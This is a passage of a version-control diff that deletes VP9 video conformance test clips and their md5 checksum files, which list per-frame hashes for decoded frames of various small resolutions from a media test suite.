-93e9f7defa94ff03c041448ae1e55cea  vp90-2-03-size-202x196-202x196-0008.i420
-aef8e03f0146699faa16ec28dea49dbe  vp90-2-03-size-202x196-202x196-0009.i420
-a651d949b4c8f0e455c6592dc98385f7  vp90-2-03-size-202x196-202x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x198.vp9
deleted file mode 100644
index de8d042..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x198_vp9_md5
deleted file mode 100644
index fa76001..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-181edc4ebeeff7f0527b93b84d5d8efb  vp90-2-03-size-202x198-202x198-0001.i420
-132c71b634fb67eed51fcdef1775b6b2  vp90-2-03-size-202x198-202x198-0002.i420
-fd41144770765fc893adc5843ebe32e4  vp90-2-03-size-202x198-202x198-0003.i420
-77dcbaea101142940b6a78a271842829  vp90-2-03-size-202x198-202x198-0004.i420
-01737c38c1ac711a9744256788211177  vp90-2-03-size-202x198-202x198-0005.i420
-31cd0b5f621daac309c6f249f4c26cd8  vp90-2-03-size-202x198-202x198-0006.i420
-e06d34e570dc46904fdb9eeb55811464  vp90-2-03-size-202x198-202x198-0007.i420
-71bf55030373bde1eaeb52d1e97bfa4a  vp90-2-03-size-202x198-202x198-0008.i420
-e96063ff02e8a23a666222b59391de9c  vp90-2-03-size-202x198-202x198-0009.i420
-5aa0079168ab5069e8a3064f9e2a6d8b  vp90-2-03-size-202x198-202x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x200.vp9
deleted file mode 100644
index 79ec044..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x200_vp9_md5
deleted file mode 100644
index 1e7817ef..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-20c41d4a1271183dbbc7a44e6b90ea80  vp90-2-03-size-202x200-202x200-0001.i420
-bd8c1fba8d8742f4d98b7d5097c8c828  vp90-2-03-size-202x200-202x200-0002.i420
-55cbe06a925009c1b1f9b609b60b4c1d  vp90-2-03-size-202x200-202x200-0003.i420
-78e80c7cf1f142e2dda1bc269b5b3e00  vp90-2-03-size-202x200-202x200-0004.i420
-42ee8157a4c8af6670b81e9324b251e9  vp90-2-03-size-202x200-202x200-0005.i420
-022bdf5a2e1ea5f98503cd25b383ae53  vp90-2-03-size-202x200-202x200-0006.i420
-c2073865386a991da01966878ce1ce6d  vp90-2-03-size-202x200-202x200-0007.i420
-6a5b95cd4eff0836b9180a25f663d36a  vp90-2-03-size-202x200-202x200-0008.i420
-5e5498c357340d4755dc98eb0669f103  vp90-2-03-size-202x200-202x200-0009.i420
-0907d5e4020111b1ecfe707df71bcd8a  vp90-2-03-size-202x200-202x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x202.vp9
deleted file mode 100644
index 27a554c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x202_vp9_md5
deleted file mode 100644
index f5ef776..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-610cef52d35e9c641f2b8c10489c3d12  vp90-2-03-size-202x202-202x202-0001.i420
-1f84062e607d4798b0544739fe0da99c  vp90-2-03-size-202x202-202x202-0002.i420
-ea379947b5c52ea3989dfc3f47c729d9  vp90-2-03-size-202x202-202x202-0003.i420
-1d06b72f06178cbb6bb5d188d22bff43  vp90-2-03-size-202x202-202x202-0004.i420
-25bd41bd7607f88a01aa0cdc336c9975  vp90-2-03-size-202x202-202x202-0005.i420
-86836a95a7a9fb1eefb20f7c5a15a9ab  vp90-2-03-size-202x202-202x202-0006.i420
-d8eb3fecce1b646b9877cd4fcca9f9bf  vp90-2-03-size-202x202-202x202-0007.i420
-a057e0b29e4ac9717452cc478c418c12  vp90-2-03-size-202x202-202x202-0008.i420
-9a3bab91b4f0fff174536b1609c9632c  vp90-2-03-size-202x202-202x202-0009.i420
-d1cd93975f746b6cae490aae31f89e7e  vp90-2-03-size-202x202-202x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x208.vp9
deleted file mode 100644
index 3a532a0..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x208_vp9_md5
deleted file mode 100644
index 7eae1c8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d2128e290be81bb0700ebe19e3faed4f  vp90-2-03-size-202x208-202x208-0001.i420
-dccaecb7e4ddb7e4224221a659af2a43  vp90-2-03-size-202x208-202x208-0002.i420
-be8e0966aaf3a9fe9164f63695dc3b62  vp90-2-03-size-202x208-202x208-0003.i420
-da944fadc3a239c2254678cadb4cf7fa  vp90-2-03-size-202x208-202x208-0004.i420
-3c270f3c02fcbd192b7f896f3f9ee6d9  vp90-2-03-size-202x208-202x208-0005.i420
-0b3ccda0a87c37e40104ae2f1060e8e9  vp90-2-03-size-202x208-202x208-0006.i420
-254253aba91758f302e7177e614596be  vp90-2-03-size-202x208-202x208-0007.i420
-b1501a4e372a5249e74aab77e57a28f1  vp90-2-03-size-202x208-202x208-0008.i420
-c4497fea1cefed5cf2b2908620153d26  vp90-2-03-size-202x208-202x208-0009.i420
-5ba20dfa2400b15b5394f315c5c3707d  vp90-2-03-size-202x208-202x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x210.vp9
deleted file mode 100644
index 69c00a0..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x210_vp9_md5
deleted file mode 100644
index 3d0ee16..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e4663a28cabbfdd3815efda2d38debcc  vp90-2-03-size-202x210-202x210-0001.i420
-3cc7dbec64e9f697f40d740a72c09fc7  vp90-2-03-size-202x210-202x210-0002.i420
-f108981e0ce9c6c501b9ac61d0f1ba44  vp90-2-03-size-202x210-202x210-0003.i420
-63191c7aceb8ac6b030cc1a4b3cda18c  vp90-2-03-size-202x210-202x210-0004.i420
-b0a527ae3aafe94d13573199c6f4944f  vp90-2-03-size-202x210-202x210-0005.i420
-1be14b213ebf1d653468b8c16bae03fb  vp90-2-03-size-202x210-202x210-0006.i420
-44e5a8333a043cd93b9d1cc78e5f188f  vp90-2-03-size-202x210-202x210-0007.i420
-bfd7619f990f20e23b47d0738a6a8449  vp90-2-03-size-202x210-202x210-0008.i420
-800405f45ca5198014ef8d8521b044fa  vp90-2-03-size-202x210-202x210-0009.i420
-dca4eda872349708f54486433efc8225  vp90-2-03-size-202x210-202x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x224.vp9
deleted file mode 100644
index 9e24686..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x224_vp9_md5
deleted file mode 100644
index 50b423d..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1d318f05310f6d40646f23c62c7eafe4  vp90-2-03-size-202x224-202x224-0001.i420
-42870bd73e1a0c5d84b986db3d24f0f0  vp90-2-03-size-202x224-202x224-0002.i420
-afaac676150286143c6fec7992a81467  vp90-2-03-size-202x224-202x224-0003.i420
-128f84400c272628e802c2369b6bf548  vp90-2-03-size-202x224-202x224-0004.i420
-9adc24d69f12349d8b17c84f5c111767  vp90-2-03-size-202x224-202x224-0005.i420
-b33d2f7a1955248652701f2ade8ab55d  vp90-2-03-size-202x224-202x224-0006.i420
-b8acc23721097fce6c8835f5fcfaa6ee  vp90-2-03-size-202x224-202x224-0007.i420
-b63bf9a08e4dc5879bbd91efaec95960  vp90-2-03-size-202x224-202x224-0008.i420
-96e8fe29935266f6bd486b99f917eabc  vp90-2-03-size-202x224-202x224-0009.i420
-54be14f8dde6857867cd4581f8557044  vp90-2-03-size-202x224-202x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x226.vp9
deleted file mode 100644
index eff9809..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x226_vp9_md5
deleted file mode 100644
index 88d3400..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5aa0f439c58c6335cd86d4238a8c4b68  vp90-2-03-size-202x226-202x226-0001.i420
-3616cc306ec05f89d9b0db63200e4abf  vp90-2-03-size-202x226-202x226-0002.i420
-424e98f8ec0ebf2a326a917ee0159bbe  vp90-2-03-size-202x226-202x226-0003.i420
-ed5710e412f056fa8c1a277d86dd45d7  vp90-2-03-size-202x226-202x226-0004.i420
-760b850feab485f0bda6cde9943102bc  vp90-2-03-size-202x226-202x226-0005.i420
-f4bd90ca72aa707f9b68e6192ac230fd  vp90-2-03-size-202x226-202x226-0006.i420
-58e4aad0bc2a9f3fc279df10208bd6f6  vp90-2-03-size-202x226-202x226-0007.i420
-b42f84723dd167d5c544d539275ad537  vp90-2-03-size-202x226-202x226-0008.i420
-5f54feca21331646e68797380260932a  vp90-2-03-size-202x226-202x226-0009.i420
-8e787dd318024aff25af8b4d85040f3c  vp90-2-03-size-202x226-202x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x196.vp9
deleted file mode 100644
index 6f6807f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x196_vp9_md5
deleted file mode 100644
index f32709e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-6195975181969789e101a83a555d13f7  vp90-2-03-size-208x196-208x196-0001.i420
-2aca5e3307d68a5e969564a943b8e723  vp90-2-03-size-208x196-208x196-0002.i420
-aee4b00472ee0b6b7a13e31069181db4  vp90-2-03-size-208x196-208x196-0003.i420
-7808595b650a7c14d8a4800db7c014e0  vp90-2-03-size-208x196-208x196-0004.i420
-746eb763b176286aa875ae06b81118c4  vp90-2-03-size-208x196-208x196-0005.i420
-0e8a78ec061319e27d49ca25e333e017  vp90-2-03-size-208x196-208x196-0006.i420
-ac4432db2bb0971d5f70a7dda1210c19  vp90-2-03-size-208x196-208x196-0007.i420
-78870f4bd767f8ab65d369a5b322735d  vp90-2-03-size-208x196-208x196-0008.i420
-eee9ddd91209348a64259db6a4a3f80c  vp90-2-03-size-208x196-208x196-0009.i420
-c48d21e36a9c0d0d1c64db3f776b3002  vp90-2-03-size-208x196-208x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x198.vp9
deleted file mode 100644
index d6bea55..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x198_vp9_md5
deleted file mode 100644
index a57dc44..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1f1fa3cdf865d8c75183f4ba6203b675  vp90-2-03-size-208x198-208x198-0001.i420
-ead33ead8fea5bd5d831a79f4c75a590  vp90-2-03-size-208x198-208x198-0002.i420
-9a406b4464989fd4bb7cbcb1b18aeaa7  vp90-2-03-size-208x198-208x198-0003.i420
-fab3d228e7032f2cdc440dbfcb17c4c1  vp90-2-03-size-208x198-208x198-0004.i420
-f2f3f8b8d9ece21c359c89245157c613  vp90-2-03-size-208x198-208x198-0005.i420
-321f5a8ecb2cec1780013fe72c237bde  vp90-2-03-size-208x198-208x198-0006.i420
-6f025b1f4ef61d261f05ca149a9470e6  vp90-2-03-size-208x198-208x198-0007.i420
-85abcc8d8e6b5f286ed6aa6c588cf416  vp90-2-03-size-208x198-208x198-0008.i420
-b28d710dd44389f774aa02edd6327d5c  vp90-2-03-size-208x198-208x198-0009.i420
-79374bef9819eecafa7396d70c80be7f  vp90-2-03-size-208x198-208x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x200.vp9
deleted file mode 100644
index 40aebf2..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x200_vp9_md5
deleted file mode 100644
index 35756a2..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-ff2dda3ddbe8b461d960baba0ad132bf  vp90-2-03-size-208x200-208x200-0001.i420
-d6935ac8f2250316f498e8f01afa04fd  vp90-2-03-size-208x200-208x200-0002.i420
-57173ebaef7b21698c62fa959cb40ead  vp90-2-03-size-208x200-208x200-0003.i420
-f354c76d7cf45e9f3adfdde0f6b3b5c9  vp90-2-03-size-208x200-208x200-0004.i420
-fbc968ecd214b01509a76996e45dd09a  vp90-2-03-size-208x200-208x200-0005.i420
-9c314b51a80f2a081adf9b9cc26f5f8a  vp90-2-03-size-208x200-208x200-0006.i420
-f22883a6a5b74ffa4bb16f22d496b5a5  vp90-2-03-size-208x200-208x200-0007.i420
-eb4fa914fc5658d43e32c48a0c39bab3  vp90-2-03-size-208x200-208x200-0008.i420
-d763c0c2f44b68e1e3fe9e165334eb0b  vp90-2-03-size-208x200-208x200-0009.i420
-344e1075a48cd61e79b0550809b4c91f  vp90-2-03-size-208x200-208x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x202.vp9
deleted file mode 100644
index eb6c574..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x202_vp9_md5
deleted file mode 100644
index cd27e7c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e5164f87feadf4b65257f578affc3e04  vp90-2-03-size-208x202-208x202-0001.i420
-6aee5a3b6c3a096dfc1594762b2b248f  vp90-2-03-size-208x202-208x202-0002.i420
-cb1c9dce6fdf7372e0eb2397251f0ade  vp90-2-03-size-208x202-208x202-0003.i420
-4fe5f24c08690c966b6a14ac3422510b  vp90-2-03-size-208x202-208x202-0004.i420
-b22a273814523251b365f3278d8a3a9c  vp90-2-03-size-208x202-208x202-0005.i420
-190d9dff373023a25427fc859545ea24  vp90-2-03-size-208x202-208x202-0006.i420
-a6307f38718ed686cb195e3833ab27ab  vp90-2-03-size-208x202-208x202-0007.i420
-79630bec5a91d69aca42a910413c2800  vp90-2-03-size-208x202-208x202-0008.i420
-2231cec9c03714b8671e5e1456b148c9  vp90-2-03-size-208x202-208x202-0009.i420
-278458f6734a24f2eb9bc877a6e9d7df  vp90-2-03-size-208x202-208x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x208.vp9
deleted file mode 100644
index 16612c0..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x208_vp9_md5
deleted file mode 100644
index 921cbdd..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-6bff7c1f4c5ef8412ebf669852c70de6  vp90-2-03-size-208x208-208x208-0001.i420
-fdfd7a2308de9509a41fed2880a8f0f5  vp90-2-03-size-208x208-208x208-0002.i420
-d8b464811e9c3b8a6db9cc277ac88c59  vp90-2-03-size-208x208-208x208-0003.i420
-b8fa29e79be3126dd74310d6dd09c747  vp90-2-03-size-208x208-208x208-0004.i420
-dad29803fed686887a0873eb78a469c6  vp90-2-03-size-208x208-208x208-0005.i420
-684de29bbf800f52aea4af9850bcc5b3  vp90-2-03-size-208x208-208x208-0006.i420
-06862dbce7571b4487766b179a596e1d  vp90-2-03-size-208x208-208x208-0007.i420
-99582a966bc7070112e214ce7912e485  vp90-2-03-size-208x208-208x208-0008.i420
-a61158581a5719cb0cf13fb3301cb8c4  vp90-2-03-size-208x208-208x208-0009.i420
-9c2295332f34fee3a249262c8ba843bc  vp90-2-03-size-208x208-208x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x210.vp9
deleted file mode 100644
index dfec3e8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x210_vp9_md5
deleted file mode 100644
index ab5c7d8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b15c7e98ddd137237b062cb51667522f  vp90-2-03-size-208x210-208x210-0001.i420
-00c594c68b19ef39a79a38e86853dc64  vp90-2-03-size-208x210-208x210-0002.i420
-e6742abe3d2c178af4298e121391c299  vp90-2-03-size-208x210-208x210-0003.i420
-efe5387b38c32f1c25c0fc9836921074  vp90-2-03-size-208x210-208x210-0004.i420
-e0e696f4c18af09a74e052903db1468c  vp90-2-03-size-208x210-208x210-0005.i420
-f1960270c6704ca47caed63161716025  vp90-2-03-size-208x210-208x210-0006.i420
-a1542d7749cfa447481acd7835db838a  vp90-2-03-size-208x210-208x210-0007.i420
-a91fb10a17d1d056667860cc43c81dae  vp90-2-03-size-208x210-208x210-0008.i420
-b673bfbb722522b4e7b5e9c5b85cc31f  vp90-2-03-size-208x210-208x210-0009.i420
-8b4bb57d3cf609cbf9564a96a6ca6ade  vp90-2-03-size-208x210-208x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x224.vp9
deleted file mode 100644
index b60fb5d..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x224_vp9_md5
deleted file mode 100644
index bcb9657..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-479d07bb96905ad7d5f0ec3ee12b41ba  vp90-2-03-size-208x224-208x224-0001.i420
-4b6555aaed8e5a45879773f1bf87962e  vp90-2-03-size-208x224-208x224-0002.i420
-c5f42cb796dd7b6622957016ca6b502f  vp90-2-03-size-208x224-208x224-0003.i420
-f06c954483560866fbff10bae7ba0785  vp90-2-03-size-208x224-208x224-0004.i420
-af83aff39999852310395fe241ccb49b  vp90-2-03-size-208x224-208x224-0005.i420
-108377d6f30ceba6f2377330af2da38f  vp90-2-03-size-208x224-208x224-0006.i420
-e81e6e0b37a7b92368ede9cab124567c  vp90-2-03-size-208x224-208x224-0007.i420
-59dbe51caaed8e6e825c78c5901fb22c  vp90-2-03-size-208x224-208x224-0008.i420
-24686123ea14c8d1a9b447733df0aaab  vp90-2-03-size-208x224-208x224-0009.i420
-ce2035c49237c8076f8dac0d3f61848e  vp90-2-03-size-208x224-208x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x226.vp9
deleted file mode 100644
index 4541cf9..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x226_vp9_md5
deleted file mode 100644
index e0a7e53..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-33aa4af6153570518c59960a0c959053  vp90-2-03-size-208x226-208x226-0001.i420
-024fa27dee80ad199528052aaa8d42c7  vp90-2-03-size-208x226-208x226-0002.i420
-b949ef118c7e7e62a8b88e2308219ef9  vp90-2-03-size-208x226-208x226-0003.i420
-3061ee13696ced5e10a646fdd5ca6c34  vp90-2-03-size-208x226-208x226-0004.i420
-c4984bd53dcb7b9e2570f2965d077b2f  vp90-2-03-size-208x226-208x226-0005.i420
-d564c35c5caadcfd9f80377fa414af72  vp90-2-03-size-208x226-208x226-0006.i420
-9b7d7b10ee2f3eb7a9ffddcebff45b97  vp90-2-03-size-208x226-208x226-0007.i420
-a0ede7085b04cbb3519d56b2e4347d14  vp90-2-03-size-208x226-208x226-0008.i420
-63d7af745f9e6a34b618db28fe878ffd  vp90-2-03-size-208x226-208x226-0009.i420
-85077809087e7bdfb9215bfcd1f1bbc0  vp90-2-03-size-208x226-208x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x196.vp9
deleted file mode 100644
index a5eca1f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x196_vp9_md5
deleted file mode 100644
index c23a9af..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5c69f80da667bfd20394995e93e4cd2b  vp90-2-03-size-210x196-210x196-0001.i420
-13363cd8e52ca8c1053db1c84c111bc9  vp90-2-03-size-210x196-210x196-0002.i420
-108976afdf99f59276d6f89879e3bdc3  vp90-2-03-size-210x196-210x196-0003.i420
-770ce25985e6b479d52a9185876cfe83  vp90-2-03-size-210x196-210x196-0004.i420
-eba7cbb3c91989aa4c13487ed01675b5  vp90-2-03-size-210x196-210x196-0005.i420
-f391c30a47c33a250dd20cb12f0a6e01  vp90-2-03-size-210x196-210x196-0006.i420
-c38e12de302177d19dd744a3ea227e90  vp90-2-03-size-210x196-210x196-0007.i420
-8c9370439a0b7289919c6ee68e00570f  vp90-2-03-size-210x196-210x196-0008.i420
-ac3748c4b99c4f1aba7430ae12c19cfd  vp90-2-03-size-210x196-210x196-0009.i420
-e5228dc84f7933ccc9306907d737ad3c  vp90-2-03-size-210x196-210x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x198.vp9
deleted file mode 100644
index b11e214..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x198_vp9_md5
deleted file mode 100644
index 7776c06..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d83ee2413e701ae405a2b74863d4c5a9  vp90-2-03-size-210x198-210x198-0001.i420
-f2ebc0f7dc171e0e5d2911c7ee2df5e1  vp90-2-03-size-210x198-210x198-0002.i420
-e189ef4d8add227352a0d6ee62748ee7  vp90-2-03-size-210x198-210x198-0003.i420
-6dcb1dca1a0e2ba85034aba9f021427e  vp90-2-03-size-210x198-210x198-0004.i420
-e98c633ba8912f6d65374055ec9af543  vp90-2-03-size-210x198-210x198-0005.i420
-82111cb7d5addce16d9bcba9e0a99503  vp90-2-03-size-210x198-210x198-0006.i420
-bbbc73002f794ab0261fe384b2524226  vp90-2-03-size-210x198-210x198-0007.i420
-0bcdc427df47123959f7de9c44fe291e  vp90-2-03-size-210x198-210x198-0008.i420
-505776b3d82e38612393d60b6aa55c1d  vp90-2-03-size-210x198-210x198-0009.i420
-feb93758242b847f3d53bb4c97b0ad9c  vp90-2-03-size-210x198-210x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x200.vp9
deleted file mode 100644
index 93ace8c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x200_vp9_md5
deleted file mode 100644
index 20dea3f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-2465560246c1ee24d937cb9cbc1422f1  vp90-2-03-size-210x200-210x200-0001.i420
-8926b628dcdf2182516822c7d0d778ec  vp90-2-03-size-210x200-210x200-0002.i420
-9bd14d3ebc7fe81c4223116de1b9c2ec  vp90-2-03-size-210x200-210x200-0003.i420
-2d029d8461c20236066c0786950540fb  vp90-2-03-size-210x200-210x200-0004.i420
-39412b6e62de43bd40c58d4e2e38daf8  vp90-2-03-size-210x200-210x200-0005.i420
-3ea211c24f606b29582147bf872994dd  vp90-2-03-size-210x200-210x200-0006.i420
-261c37f88bf7f40549642578d9464aeb  vp90-2-03-size-210x200-210x200-0007.i420
-98551d44de1e23165e05975babb72446  vp90-2-03-size-210x200-210x200-0008.i420
-1d85ad052dd27e7e6bfea5d2babf5176  vp90-2-03-size-210x200-210x200-0009.i420
-ad18b6a3698a3674c2488f927810eb0d  vp90-2-03-size-210x200-210x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x202.vp9
deleted file mode 100644
index e84b816..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x202_vp9_md5
deleted file mode 100644
index 8d7e06e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5d01848aee2b324f2e356627f9c39532  vp90-2-03-size-210x202-210x202-0001.i420
-b671fe34bc0e5a682baff929d26ea627  vp90-2-03-size-210x202-210x202-0002.i420
-e9a40f87ca5aaa5af9772e286feb9063  vp90-2-03-size-210x202-210x202-0003.i420
-4730f60d4c856e8ad877c0d8b1729ec4  vp90-2-03-size-210x202-210x202-0004.i420
-317fc01349e0984c23d15f97a3a0f442  vp90-2-03-size-210x202-210x202-0005.i420
-aea89116ffe48340d1752d1ad5195529  vp90-2-03-size-210x202-210x202-0006.i420
-14694ba65b6308e5f5571486b62ca1cc  vp90-2-03-size-210x202-210x202-0007.i420
-53c6102d877c9a30eaa20ddc45207ea0  vp90-2-03-size-210x202-210x202-0008.i420
-7d1e898b1bead878224e8ff15d624bd9  vp90-2-03-size-210x202-210x202-0009.i420
-37b684bfae5dbd33e8dbb8332b94ce8a  vp90-2-03-size-210x202-210x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x208.vp9
deleted file mode 100644
index c69fb3f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x208.vp9
+++ /dev/null
Binary files differ
